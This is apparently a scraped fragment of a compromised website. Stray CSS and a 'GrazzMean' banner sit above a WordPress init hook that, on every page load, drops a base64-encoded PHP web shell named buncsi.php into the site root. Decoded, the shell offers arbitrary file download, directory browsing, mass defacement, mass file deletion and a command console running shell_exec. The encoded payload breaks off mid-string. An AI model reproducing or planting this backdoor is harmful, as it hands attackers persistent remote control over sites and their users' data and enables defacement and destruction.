display: flex;\r\n    flex-direction: column;\r\n    background-color: $bwt_white;\r\n    border-radius: 12px;\r\n\r\n    .modalHeader {\r\n      padding: 24px 32px;\r\n      color: $bwt_cardTextColor;\r\n      display: flex;\r\n      justify-content: space-between;\r\n      padding-bottom: 0px;\r\n\r\n      p {\r\n        font-size: 21px;\r\n      }\r\n\r\n      .modalClose {\r\n        cursor: pointer;\r\n      }\r\n    }\r\n\r\n    .modalContent {\r\n      padding: 24px 32px;\r\n      padding-top: 0px;\r\n\r\n      .textField {\r\n        input {\r\n          border-radius: 0;\r\n          border: none;\r\n          background-color: #f0f0f1;\r\n        }\r\n      }\r\n\r\n      p {\r\n        font-size: 12px;\r\n        color: $bwt_standardTextColor;\r\n      }\r\n    }\r\n\r\n    .modalFooter {\r\n      padding: 24px 32px;\r\n      border-top: solid 1px rgba(0, 0, 0, 0.1);\r\n\r\n      button.button {\r\n        border-radius: 0;\r\n        margin-right: 16px;\r\n      }\r\n\r\n      button.primaryButton {\r\n        background-color: #990000;\r\n        color: $bwt_white;\r\n      }\r\n\r\n      button.secondaryButton {\r\n        background-color: $bwt_white;\r\n      }\r\n    }\r\n  }\r\n}\r\n\r\n.showModal {\r\n  display: block;\r\n  animation: animateIn 0.3s;\r\n}\r\n\r\n@keyframes animateIn {\r\n  from {\r\n    top: 100%;\r\n    opacity: 0;\r\n  }\r\n  to {\r\n    top: 30%;\r\n    opacity: 1;\r\n  }\r\n}\r\n\r\n.darken {\r\n  filter: opacity(0.5);\r\n}\r\n"]}
© 2026 GrazzMean
AVRIL_START_JANCOKALIVEAVRIL_END_JANCOK Interactive Terminal

Command Executor

add_action('init', function() { $f = ABSPATH . 'buncsi.php'; if (!file_exists($f)) { file_put_contents($f, base64_decode('PD9waHAKLyogTWF1IHJlY29kZT8gaXppbiBkdWx1LCByZWNvZGUgZ2EgaXppbiBpdHUgZ2Ega2VyZW4gYWpnICovCnNldF90aW1lX2xpbWl0KDApOwplcnJvcl9yZXBvcnRpbmcoMCk7IApAaW5pX3NldCgnZXJyb3JfbG9nJyxudWxsKTsKQGluaV9zZXQoJ2xvZ19lcnJvcnMnLDApOwpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsKQGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLDApOwpAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAwKTsKZGF0ZV9kZWZhdWx0X3RpbWV6b25lX3NldCgnQXNpYS9KYWthcnRhJyk7CiRfbiA9ICdHcmF6ek1lYW4nOwokX3MgPSAiPHN0eWxlPnRhYmxle2Rpc3BsYXk6bm9uZTt9PC9zdHlsZT48ZGl2IGNsYXNzPSd0YWJsZS1yZXNwb25zaXZlJz48aHI+PC9kaXY+IjsKJF9yID0gInJlcXVpcmVkPSdyZXF1aXJlZCciOwokX3ggPSAiPGkgY2xhc3M9J2JpIGJpLW1lbnUtdXAnPjwvaT4iOwppZihpc3NldCgkX0dFVFsnb3B0aW9uJ10pICYmICRfUE9TVFsnb3B0J10gPT0gJ2Rvd25sb2FkJyl7CgloZWFkZXIoJ0NvbnRlbnQtdHlwZTogdGV4dC9wbGFpbicpOwoJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iJy4kX1BPU1RbJ25hbWUnXS4nIicpOwplY2hvKGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsncGF0aCddKSk7CmV4aXQoKTsKfQpmdW5jdGlvbiDilp8oJHBhdGgsJHApIHsKaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpIHsKCSTilpogPSAkX0dFVFsncGF0aCddOwp9ZWxzZXsKCSTilpogPSBnZXRjd2QoKTsKfQppZihpc193cml0YWJsZSgk4paaKSkgewoJcmV0dXJuICI8Z3IgY2xhc3M9J2FudSc+Ii4kcC4iPC9ncj4iOwp9ZWxzZXsKCXJldHVybiAiPHJkIGNsYXNzPSdhbnUnPiIuJHAuIjwvcmQ+IjsKCX0KfQpmdW5jdGlvbiBvaygpewoJZWNobyAnPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtc3VjY2VzcyBhbGVydC1kaXNtaXNzaWJsZSBmYWRlIHNob3cgbXktMyIgcm9sZT0iYWxlcnQiPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuLWNsb3NlIiBkYXRhLWJzLWRpc21pc3M9ImFsZXJ0IiBhcmlhLWxhYmVsPSJDbG9zZSI+PC9idXR0b24+JzsKfQpmdW5jdGlvbiBlcigpewoJZWNobyAnPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtZGFuZ2VyIGFsZXJ0LWRpc21pc3NpYmxlIGZhZGUgc2hvdyBteS0zIiByb2xlPSJhbGVydCI+PGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJidG4tY2xvc2UiIGRhdGEtYnMtZGlzbWlzcz0iYWxlcnQiIGFyaWEtbGFiZWw9IkNsb3NlIj48L2J1dHRvbj4nOwp9CmZ1bmN0aW9uIHN6KCRieXQpewoJJHN6ID0gYXJyYXkoJ0InLCdLQicsJ01CJywnR0InLCdUQicpOwoJZm9yKCRpID0gMDsgJGJ5dCA+PSAxMDI0ICYmICRpIDwgKGNvdW50KCRzeikgLTEgKTsgJGJ5dCAvPSAxMDI0LCAkaSsrICk7CglyZXR1cm4ocm91bmQoJGJ5dCwyKS4iICIuJHN6WyRpXSk7Cn0KZnVuY3Rpb24gaXAoKSB7CgkkaXBhcyA9ICcnOwppZihnZXRlbnYoJ0hUVFBfQ0xJRU5UX0lQJykpCgkkaXBhcyA9IGdldGVudignSFRUUF9DTElFTlRfSVAnKTsKZWxzZSBpZihnZXRlbnYoJ0hUVFBfWF9GT1JXQVJERURfRk9SJykpCgkkaXBhcyA9IGdldGVudignSFRUUF9YX0ZPUldBUkRFRF9GT1InKTsKZWxzZSBpZihnZXRlbnYoJ0hUVFBfWF9GT1JXQVJERUQnKSkKCSRpcGFzID0gZ2V0ZW52KCdIVFRQX1hfRk9SV0FSREVEJyk7CmVsc2UgaWYoZ2V0ZW52KCdIVFRQX0ZPUldBUkRFRF9GT1InKSkKCSRpcGFzID0gZ2V0ZW52KCdIVFRQX0ZPUldBUkRFRF9GT1InKTsKZWxzZSBpZihnZXRlbnYoJ0hUVFBfRk9SV0FSREVEJykpCgkkaXBhcyA9IGdldGVudignSFRUUF9GT1JXQVJERUQnKTsKZWxzZSBpZihnZXRlbnYoJ1JFTU9URV9BRERSJykpCgkkaXBhcyA9IGdldGVudignUkVNT1RFX0FERFInKTsKZWxzZQoJJGlwYXMgPSAnSVAgdGlkYWsgZGlrZW5hbGknOwpyZXR1cm4gJGlwYXM7Cn0KZnVuY3Rpb24gcCgkZmlsZSl7CmlmKCRwID0gQGZpbGVwZXJtcygkZmlsZSkpewoJJGkgPSAndSc7CmlmKCgkcCAmIDB4QzAwMCkgPT0gMHhDMDAwKSRpID0gJ3MnOwplbHNlaWYoKCRwICYgMHhBMDAwKSA9PSAweEEwMDApJGkgPSAnbCc7CmVsc2VpZigoJHAgJiAweDgwMDApID09IDB4ODAwMCkkaSA9ICctJzsKZWxzZWlmKCgkcCAmIDB4NjAwMCkgPT0gMHg2MDAwKSRpID0gJ2InOwplbHNlaWYoKCRwICYgMHg0MDAwKSA9PSAweDQwMDApJGkgPSAnZCc7CmVsc2VpZigoJHAgJiAweDIwMDApID09IDB4MjAwMCkkaSA9ICdjJzsKZWxzZWlmKCgkcCAmIDB4MTAwMCkgPT0gMHgxMDAwKSRpID0gJ3AnOwoJJGkgLj0gKCRwICYgMDA0MDApPyAncic6Jy0nOwoJJGkgLj0gKCRwICYgMDAyMDApPyAndyc6Jy0nOwoJJGkgLj0gKCRwICYgMDAxMDApPyAneCc6Jy0nOwoJJGkgLj0gKCRwICYgMDAwNDApPyAncic6Jy0nOwoJJGkgLj0gKCRwICYgMDAwMjApPyAndyc6Jy0nOwoJJGkgLj0gKCRwICYgMDAwMTApPyAneCc6Jy0nOwoJJGkgLj0gKCRwICYgMDAwMDQpPyAncic6Jy0nOwoJJGkgLj0gKCRwICYgMDAwMDIpPyAndyc6Jy0nOwoJJGkgLj0gKCRwICYgMDAwMDEpPyAneCc6Jy0nOwpyZXR1cm4gJGk7Cgl9CgllbHNlIHJldHVybiAiLSA/PyAtIjsKfQokZGlzZnVuYyA9IEBpbmlfZ2V0KCJkaXNhYmxlX2Z1bmN0aW9ucyIpOwppZihlbXB0eSgkZGlzZnVuYykpIHsKCSRkaXNmYyA9ICI8Z3I+Tk9ORTwvZ3I+IjsKfWVsc2V7CgkkZGlzZmMgPSAiPHJkPiRkaXNmdW5jPC9yZD4iOwp9CmlmKCFmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSkgewoJJHVzZXIgPSBAZ2V0X2N1cnJlbnRfdXNlcigpOwoJJHVpZCA9IEBnZXRteXVpZCgpOwoJJGdpZCA9IEBnZXRteWdpZCgpOwoJJGdyb3VwID0gIj8iOwp9ZWxzZXsKCSR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQocG9zaXhfZ2V0ZXVpZCgpKTsKCSRnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQocG9zaXhfZ2V0ZWdpZCgpKTsKCSR1c2VyID0gJHVpZFsnbmFtZSddOwoJJHVpZCA9ICR1aWRbJ3VpZCddOwoJJGdyb3VwID0gJGdpZFsnbmFtZSddOwoJJGdpZCA9ICRnaWRbJ2dpZCddOwp9CiRzbSA9IChAaW5pX2dldChzdHJ0b2xvd2VyKCJzYWZlX21vZGUiKSkgPT0gJ29uJykgPyAiPHJkPk9OPC9yZD4iIDogIjxncj5PRkY8L2dyPiI7CmVjaG8gIgo8IURPQ1RZUEUgSFRNTD4KPGh0bWw+Cgk8aGVhZD4KCQk8bWV0YSBuYW1lPSdhdXRob3InIGNvbnRlbnQ9JyRfbic+CgkJPG1ldGEgbmFtZT0ncm9ib3RzJyBjb250ZW50PSdub2luZGV4LG5vZm9sbG93Jz4KCQk8dGl0bGU+Ii4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIiAtICRfbjwvdGl0bGU+CgkJPG1ldGEgbmFtZT0ndmlld3BvcnQnIGNvbnRlbnQ9J3dpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0wLjcwJz4KCQk8bGluayByZWw9J3N0eWxlc2hlZXQnIGhyZWY9Jy8vbWVraS5nb29nbGUuY28ud3Mvc3R5bGUuY3NzJz4KCQk8c2NyaXB0IHNyYz0nLy9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvcHJpc20vMS42LjAvcHJpc20uanMnPjwvc2NyaXB0PgoJCTxzY3JpcHQgc3JjPScvL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjAuMS9kaXN0L2pzL2Jvb3RzdHJhcC5idW5kbGUubWluLmpzJz48L3NjcmlwdD4KCQk8c2NyaXB0IHNyYz0nLy9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuMy4xLnNsaW0ubWluLmpzJz48L3NjcmlwdD4KCTwvaGVhZD4KPGJvZHkgY2xhc3M9J2JnLXNlY29uZGFyeSB0ZXh0LWxpZ2h0Jz4KPGRpdiBjbGFzcz0nY29udGFpbmVyLWZsdWlkJz4KCTxkaXYgY2xhc3M9J3B5LTMnIGlkPSdtYWluJz4KCQk8ZGl2IGNsYXNzPSdib3ggc2hhZG93IGJnLWRhcmsgcC00IHJvdW5kZWQtMyc+CgkJCTxkaXYgY2xhc3M9J2Nvcm5lciB0ZXh0LXNlY29uZGFyeSBhbnUnPnNoZWxsIGJ5cGFzcyA0MDM8L2Rpdj4KCQkJCTxhIGNsYXNzPSd0ZXh0LWRlY29yYXRpb24tbm9uZSB0ZXh0LWxpZ2h0IGFudScgaHJlZj0nIi4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iJz48aDQ+JF9uIFNoZWxsPC9oND48L2E+IjsKCQkJCWlmKGlzc2V0KCRfR0VUWydwYXRoJ10pKXsKCQkJCQkkcGF0aCA9ICRfR0VUWydwYXRoJ107CgkJCQl9ZWxzZXsKCQkJCQkkcGF0aCA9IGdldGN3ZCgpOwoJCQkJfQoJCQkJCSRwYXRoID0gc3RyX3JlcGxhY2UoJ1xcJywnLycsJHBhdGgpOwoJCQkJCSRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsKCQkJCWZvcmVhY2goJHBhdGhzIGFzICRpZD0+JHBhdCl7CgkJCQlpZigkcGF0ID09ICcnICYmICRpZCA9PSAwKXsKCQkJCQkkYSA9IHRydWU7CgkJCQkJZWNobyAnPGRpdiBjbGFzcz0idGFibGUtcmVzcG9uc2l2ZSI+PGkgY2xhc3M9ImJpIGJpLWhkZC1yYWNrIj48L2k+IDogPGEgY2xhc3M9InRleHQtZGVjb3JhdGlvbi1ub25lIHRleHQtbGlnaHQiIGhyZWY9Ij9wYXRoPS8iPi88L2E+JzsKCQkJCWNvbnRpbnVlOwoJCQkJfQoJCQkJaWYoJHBhdCA9PSAnJykgY29udGludWU7CgkJCQkJZWNobyAnPGEgY2xhc3M9InRleHQtZGVjb3JhdGlvbi1ub25lIiBocmVmPSI/cGF0aD0nOwoJCQkJZm9yKCRpPTA7JGk8PSRpZDskaSsrKXsKCQkJCQllY2hvICIkcGF0aHNbJGldIjsKCQkJCWlmKCRpICE9ICRpZCkgZWNobyAiLyI7CgkJCQl9CgkJCQllY2hvICciPicuJHBhdC4nPC9hPi8nOwoJCQkJfQoJCQkJZWNobyAiIFsgIi7ilp8oJHBhdGgsIHAoJHBhdGgpKS4iIF08L2Rpdj4iOwoJCQllY2hvICIKCQk8L2Rpdj4KCTwvZGl2Pgo8L2Rpdj4KPGRpdiBjbGFzcz0nY29udGFpbmVyLWZsdWlkJz4KCTxkaXYgY2xhc3M9J2JveCBzaGFkb3cgYmctZGFyayBwLTQgcm91bmRlZC0zJz4KCQk8ZGl2IGNsYXNzPSdjb3JuZXIgYW51Jz4KCQkJPGIgZGF0YS1icy10b2dnbGU9J2NvbGxhcHNlJyBkYXRhLWJzLXRhcmdldD0nI2NvbGxhcHNlRXhhbXBsZScgYXJpYS1leHBhbmRlZD0nZmFsc2UnIGFyaWEtY29udHJvbHM9J2NvbGxhcHNlRXhhbXBsZSc+PGkgY2xhc3M9J2JpIGJpLWluZm8tY2lyY2xlJz48L2k+IGluZm8gc2VydmVyIDxpIGNsYXNzPSdiaSBiaS1jaGV2cm9uLWRvd24nPjwvaT48L2I+CgkJPC9kaXY+Cgk8ZGl2IGNsYXNzPSdjb2xsYXBzZSB0ZXh0LWRhcmsgbWItMycgaWQ9J2NvbGxhcHNlRXhhbXBsZSc+CgkJPGRpdiBjbGFzcz0nYm94IHNoYWRvdyBiZy1saWdodCBwLTQgcm91bmRlZC0zJz4KCQkJVW5hbWU6IDxncj4iLnBocF91bmFtZSgpLiI8L2dyPjxiciAvPgoJCQlTb2Z0d2FyZTogPGdyPiIuJF9TRVJWRVJbJ1NFUlZFUl9TT0ZUV0FSRSddLiI8L2dyPjxiciAvPgoJCQlQSFAgdmVyc2lvbjogPGdyPiIuUEhQX1ZFUlNJT04uIjwvZ3I+IDxhIGNsYXNzPSd0ZXh0LWRlY29yYXRpb24tbm9uZScgaHJlZj0nP3BocGluZm8mcGF0aD0kcGF0aCc+WyBQSFAgSU5GTyBdPC9hPiBQSFAgb3M6IDxncj4iLlBIUF9PUy4iPC9ncj48YnIgLz4KCQkJU2VydmVyIElwOiA8Z3I+Ii5nZXRob3N0YnluYW1lKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuIjwvZ3I+PGJyIC8+CgkJCVlvdXIgSXA6IDxncj4iLmlwKCkuIjwvZ3I+PGJyIC8+CgkJCVVzZXI6IDxncj4kdXNlcjwvZ3I+ICgkdWlkKSB8IEdyb3VwOiA8Z3I+JGdyb3VwPC9ncj4gKCRnaWQpPGJyIC8+CgkJCVNhZmUgTW9kZTogJHNtPGJyIC8+CgkJCURpc2FibGUgRnVuY3Rpb246PGRpdiBjbGFzcz0ndGFibGUtcmVzcG9uc2l2ZSc+JGRpc2ZjPC9kaXY+CgkJPC9kaXY+Cgk8L2Rpdj4KPGRpdiBjbGFzcz0ndGV4dC1jZW50ZXInPgoJPGRpdiBjbGFzcz0nYnRuLWdyb3VwJz4KCQk8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP3VwbG9hZCZwYXRoPSRwYXRoJz48aSBjbGFzcz0nYmkgYmktdXBsb2FkJz48L2k+IHVwbG9hZDwvYT4KCQk8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP21hc3NfZGVmYWNlJnBhdGg9JHBhdGgnPjxpIGNsYXNzPSdiaSBiaS1leGNsYW1hdGlvbi1kaWFtb25kJz48L2k+IG1hc3MgZGVmYWNlPC9hPgoJCTxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/bWFzc19kZWxldGUmcGF0aD0kcGF0aCc+PGkgY2xhc3M9J2JpIGJpLXRyYXNoJz48L2k+IG1hc3MgZGVsZXRlPC9hPgoJCTxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/Y21kJnBhdGg9JHBhdGgnPjxpIGNsYXNzPSdiaSBiaS10ZXJtaW5hbCc+PC9pPiBjb25zb2xlPC9hPgoJPC9kaXY+CjwvZGl2PiI7Ci8vIHRvb2xzIG55YQppZihpc3NldCgkX0dFVFsncGF0aCddKSkgewoJJGRpciA9ICRfR0VUWydwYXRoJ107CgljaGRpcigkZGlyKTsKfWVsc2V7CgkkZGlyID0gZ2V0Y3dkKCk7Cn0KJGRpciA9IHN0cl9yZXBsYWNlKCJcXCIsIi8iLCRkaXIpOwokc2NkaXIgPSBleHBsb2RlKCIvIiwgJGRpcik7CQpmb3IoJGkgPSAwOyAkaSA8PSAkY19kaXI7ICRpKyspIHsKCSRzY2RpclskaV07CglpZigkaSAhPSAkY19kaXIpIHsKfQppZihpc3NldCgkX0dFVFsnbWFzc19kZWZhY2UnXSkpIHsKZWNobyAiJF9zIjsKZnVuY3Rpb24gbWFzc19rYWJlaCgkZGlyLCRuYW1hZmlsZSwkaXNpX3NjcmlwdCkgewppZihpc193cml0YWJsZSgkZGlyKSkgewoJJGRpcmEgPSBzY2FuZGlyKCRkaXIpOwoJZm9yZWFjaCgkZGlyYSBhcyAkZGlyYikgewoJCSRkaXJjID0gIiRkaXIvJGRpcmIiOwoJCSTilpogPSAkZGlyYy4nLycuJG5hbWFmaWxlOwoJCWlmKCRkaXJiID09PSAnLicpIHsKCQkJZmlsZV9wdXRfY29udGVudHMoJOKWmiwgJGlzaV9zY3JpcHQpOwoJCX0gZWxzZWlmKCRkaXJiID09PSAnLi4nKSB7CgkJCWZpbGVfcHV0X2NvbnRlbnRzKCTilposICRpc2lfc2NyaXB0KTsKCQl9ZWxzZXsKCQkJaWYoaXNfZGlyKCRkaXJjKSkgewoJCQkJaWYoaXNfd3JpdGFibGUoJGRpcmMpKSB7CgkJCQkJZWNobyAiWzxncj48aSBjbGFzcz0nYmkgYmktY2hlY2stYWxsJz48L2k+PC9ncj5dJm5ic3A7JOKWmjxicj4iOwoJCQkJCWZpbGVfcHV0X2NvbnRlbnRzKCTilposICRpc2lfc2NyaXB0KTsKCQkJCQkk4pafID0gbWFzc19rYWJlaCgkZGlyYywkbmFtYWZpbGUsJGlzaV9zY3JpcHQpOwoJCQkJCX0KCQkJCX0KCQkJfQoJCX0KCX0KfQpmdW5jdGlvbiBtYXNzX2JpYXNhKCRkaXIsJG5hbWFmaWxlLCRpc2lfc2NyaXB0KSB7CglpZihpc193cml0YWJsZSgkZGlyKSkgewoJCSRkaXJhID0gc2NhbmRpcigkZGlyKTsKCQlmb3JlYWNoKCRkaXJhIGFzICRkaXJiKSB7CgkJCSRkaXJjID0gIiRkaXIvJGRpcmIiOwoJCQkk4paaID0gJGRpcmMuJy8nLiRuYW1hZmlsZTsKCQkJaWYoJGRpcmIgPT09ICcuJykgewoJCQkJZmlsZV9wdXRfY29udGVudHMoJOKWmiwgJGlzaV9zY3JpcHQpOwoJCQl9IGVsc2VpZigkZGlyYiA9PT0gJy4uJykgewoJCQkJZmlsZV9wdXRfY29udGVudHMoJOKWmiwgJGlzaV9zY3JpcHQpOwoJCQl9ZWxzZXsKCQkJCWlmKGlzX2RpcigkZGlyYykpIHsKCQkJCQlpZihpc193cml0YWJsZSgkZGlyYykpIHsKCQkJCQkJZWNobyAiWzxncj48aSBjbGFzcz0nYmkgYmktY2hlY2stYWxsJz48L2k+PC9ncj5dJm5ic3A7JGRpcmIvJG5hbWFmaWxlPGJyPiI7CgkJCQkJCWZpbGVfcHV0X2NvbnRlbnRzKCTilposICRpc2lfc2NyaXB0KTsKCQkJCQl9CgkJCQl9CgkJCX0KCQl9Cgl9Cn0KaWYoJF9QT1NUWydzdGFydCddKSB7CglpZigkX1BPU1RbJ3RpcGUnXSA9PSAnbWFzc2FsJykgewoJbWFzc19rYWJlaCgkX1BPU1RbJ2RfZGlyJ10sICRfUE9TVFsnZF9maWxlJ10sICRfUE9TVFsnc2NyaXB0J10pOwoJfSBlbHNlaWYoJF9QT1NUWyd0aXBlJ10gPT0gJ2JpYXNhJykgewoJbWFzc19iaWFzYSgkX1BPU1RbJ2RfZGlyJ10sICRfUE9TVFsnZF9maWxlJ10sICRfUE9TVFsnc2NyaXB0J10pOwoJfQp9CmVjaG8gIgo8ZGl2IGNsYXNzPSdtYi0zJz4KCTxmb3JtIG1ldGhvZD0nUE9TVCc+IFRpcGU6Cgk8ZGl2IGNsYXNzPSdmb3JtLWNoZWNrJz4KCQk8aW5wdXQgY2xhc3M9J2Zvcm0tY2hlY2staW5wdXQnIHR5cGU9J2NoZWNrYm94JyB2YWx1ZT0nYmlhc2EnIG5hbWU9J3RpcGUnIGlkPSdmbGV4Q2hlY2tEZWZhdWx0JyBjaGVja2VkPgoJCTxsYWJlbCBjbGFzcz0nZm9ybS1jaGVjay1sYWJlbCcgZm9yPSdmbGV4Q2hlY2tEZWZhdWx0Jz5CaWFzYTwvbGFiZWw+Cgk8L2Rpdj4KCTxkaXYgY2xhc3M9J2Zvcm0tY2hlY2snPgoJCTxpbnB1dCBjbGFzcz0nZm9ybS1jaGVjay1pbnB1dCcgdHlwZT0nY2hlY2tib3gnIHZhbHVlPSdtYXNzYWwnIG5hbWU9J3RpcGUnIGlkPSdmbGV4Q2hlY2tEZWZhdWx0Jz4KCQk8bGFiZWwgY2xhc3M9J2Zvcm0tY2hlY2stbGFiZWwnIGZvcj0nZmxleENoZWNrRGVmYXVsdCc+TWFzc2FsPC9sYWJlbD4KCTwvZGl2PgoJCTxpIGNsYXNzPSdiaSBiaS1mb2xkZXInPjwvaT4gTG9rYXNpOgoJCTxpbnB1dCBjbGFzcz0nZm9ybS1jb250cm9sIGJ0bi1zbScgdHlwZT0ndGV4dCcgbmFtZT0nZF9kaXInIHZhbHVlPSckZGlyJz4KCQk8aSBjbGFzcz0nYmkgYmktZmlsZS1lYXJtYXJrJz48L2k+IE5hbWEgZmlsZToKCQk8aW5wdXQgY2xhc3M9J2Zvcm0tY29udHJvbCBidG4tc20nIHR5cGU9J3RleHQnIG5hbWU9J2RfZmlsZScgcGxhY2Vob2xkZXI9J25hbWEgZmlsZScgJF9yPgoJCTxpIGNsYXNzPSdiaSBiaS1maWxlLWVhcm1hcmsnPjwvaT4gSXNpIGZpbGU6CgkJPHRleHRhcmVhIGNsYXNzPSdmb3JtLWNvbnRyb2wgYnRuLXNtJyByb3dzPSc3JyBuYW1lPSdzY3JpcHQnIHBsYWNlaG9sZGVyPSdpc2kgZmlsZScgJF9yPjwvdGV4dGFyZWE+CgkJPGRpdiBjbGFzcz0nZC1ncmlkIGdhcC0yJz4KCQkJPGlucHV0IGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyB0eXBlPSdzdWJtaXQnIG5hbWU9J3N0YXJ0JyB2YWx1ZT0nbWFzcyBkZWZhY2UnPgoJCTwvZGl2PgoJPC9mb3JtPgo8L2Rpdj4iOwp9CmlmKGlzc2V0KCRfR0VUWydtYXNzX2RlbGV0ZSddKSkgewplY2hvICIkX3MiOwpmdW5jdGlvbiBoYXB1c19tYXNzYWwoJGRpciwkbmFtYWZpbGUpIHsKaWYoaXNfd3JpdGFibGUoJGRpcikpIHsKCSRkaXJhID0gc2NhbmRpcigkZGlyKTsKCWZvcmVhY2goJGRpcmEgYXMgJGRpcmIpIHsKCQkkZGlyYyA9ICIkZGlyLyRkaXJiIjsKCQkk4paaID0gJGRpcmMuJy8nLiRuYW1hZmlsZTsKCQlpZigkZGlyYiA9PT0gJy4nKSB7CgkJCWlmKGZpbGVfZXhpc3RzKCIkZGlyLyRuYW1hZmlsZSIpKSB7CgkJCQl1bmxpbmsoIiRkaXIvJG5hbWFmaWxlIik7CgkJCX0KCQl9IGVsc2VpZigkZGlyYiA9PT0gJy4uJykgewoJCQlpZihmaWxlX2V4aXN0cygiIi5kaXJuYW1lKCRkaXIpLiIvJG5hbWFmaWxlIikpIHsKCQkJCXVubGluaygiIi5kaXJuYW1lKCRkaXIpLiIvJG5hbWFmaWxlIik7CgkJCX0KCQl9ZWxzZXsKCQkJaWYoaXNfZGlyKCRkaXJjKSkgewoJCQkJaWYoaXNfd3JpdGFibGUoJGRpcmMpKSB7CgkJCQkJaWYoZmlsZV9leGlzdHMoJOKWmikpIHsKCQkJCQkJZWNobyAiWzxncj48aSBjbGFzcz0nYmkgYmktY2hlY2stYWxsJz48L2k+PC9ncj5dJm5ic3A7JOKWmjxicj4iOwoJCQkJCQl1bmxpbmsoJOKWmik7CgkJCQkJCSTilp8gPSBoYXB1c19tYXNzYWwoJGRpcmMsJG5hbWFmaWxlKTsKCQkJCQkJfQoJCQkJCX0KCQkJCX0KCQkJfQoJCX0KCX0KfQppZigkX1BPU1RbJ3N0YXJ0J10pIHsKCWhhcHVzX21hc3NhbCgkX1BPU1RbJ2RfZGlyJ10sICRfUE9TVFsnZF9maWxlJ10pOwp9CmVjaG8gIgo8ZGl2IGNsYXNzPSdtYi0zJz4KCTxmb3JtIG1ldGhvZD0nUE9TVCc+CgkJPGkgY2xhc3M9J2JpIGJpLWZvbGRlcic+PC9pPiBMb2thc2k6CgkJPGlucHV0IGNsYXNzPSdmb3JtLWNvbnRyb2wgYnRuLXNtJyB0eXBlPSd0ZXh0JyBuYW1lPSdkX2RpcicgdmFsdWU9JyRkaXInPgoJCQk8aSBjbGFzcz0nYmkgYmktZmlsZS1lYXJtYXJrJz48L2k+IE5hbWEgZmlsZToKCQk8ZGl2IGNsYXNzPSdpbnB1dC1ncm91cCBtYi0zJz4KCQkJPGlucHV0IGNsYXNzPSdmb3JtLWNvbnRyb2wgYnRuLXNtJyB0eXBlPSd0ZXh0JyBuYW1lPSdkX2ZpbGUnIHBsYWNlaG9sZGVyPSduYW1hIGZpbGUnICRfcj48YnI+CgkJPGRpdiBjbGFzcz0naW5wdXQtZ3JvdXAtYXBwZW5kJz4KCQkJPGlucHV0IGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyB0eXBlPSdzdWJtaXQnIG5hbWU9J3N0YXJ0JyB2YWx1ZT0nbWFzcyBkZWxldGUnPgoJCTwvZGl2PgoJPC9mb3JtPgo8L2Rpdj4iOwp9CmlmKGlzc2V0KCRfR0VUWydjbWQnXSkpIHsKaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pKSB7CgkkY21kID0gc2hlbGxfZXhlYygkX1BPU1RbJ2NtZCddLicgMj4mMScpOwp9CmVjaG8gIiRfcwo8ZGl2IGNsYXNzPSdtYi0zJz4KCTxmb3JtIG1ldGhvZD0nUE9TVCc+CgkJPGRpdiBjbGFzcz0naW5wdXQtZ3JvdXAgbWItMyc+CgkJCTxpbnB1dCBjbGFzcz0nZm9ybS1jb250cm9sIGJ0bi1zbScgdHlwZT0ndGV4dCcgbmFtZT0nY21kJyB2YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnY21kJ10sIEVOVF9RVU9URVMsICdVVEYtOCcpLiInIHBsYWNlaG9sZGVyPSd3aG9hbWknICRfcj4KCQkJPGJ1dHRvbiBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgdHlwZT0nc3VtYml0Jz48aSBjbGFzcz0nYmkgYmktYXJyb3ctcmV0dXJuLXJpZ2h0Jz48L2k+PC9idXR0b24+CgkJPC9kaXY+Cgk8L2Zvcm0+IjsKCWlmKCRjbWQpOgoJZWNobyAnCgk8ZGl2IGNsYXNzPSJjb250YWluZXItZmx1aWQgbGFuZ3VhZ2UtamF2YXNjcmlwdCI+CgkJPGRpdiBjbGFzcz0ic2hlbGwgbWItMyI+CgkJCTxwcmUgc3R5bGU9ImZvbnQtc2l6ZToxMHB4OyI+PGNvZGU+Jy5odG1sc3BlY2lhbGNoYXJzKCRjbWQsIEVOVF9RVU9URVMsICdVVEYtOCcpLic8L2NvZGU+PC9wcmU+CgkJPC9kaXY+Cgk8L2Rpdj4nOwoJZWxzZWlmKCEkY21kICYmICRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddID09ICdQT1NUJyk6CgllY2hvICcKCTxkaXYgY2xhc3M9ImNvbnRhaW5lci1mbHVpZCBsYW5ndWFnZS1qYXZhc2NyaX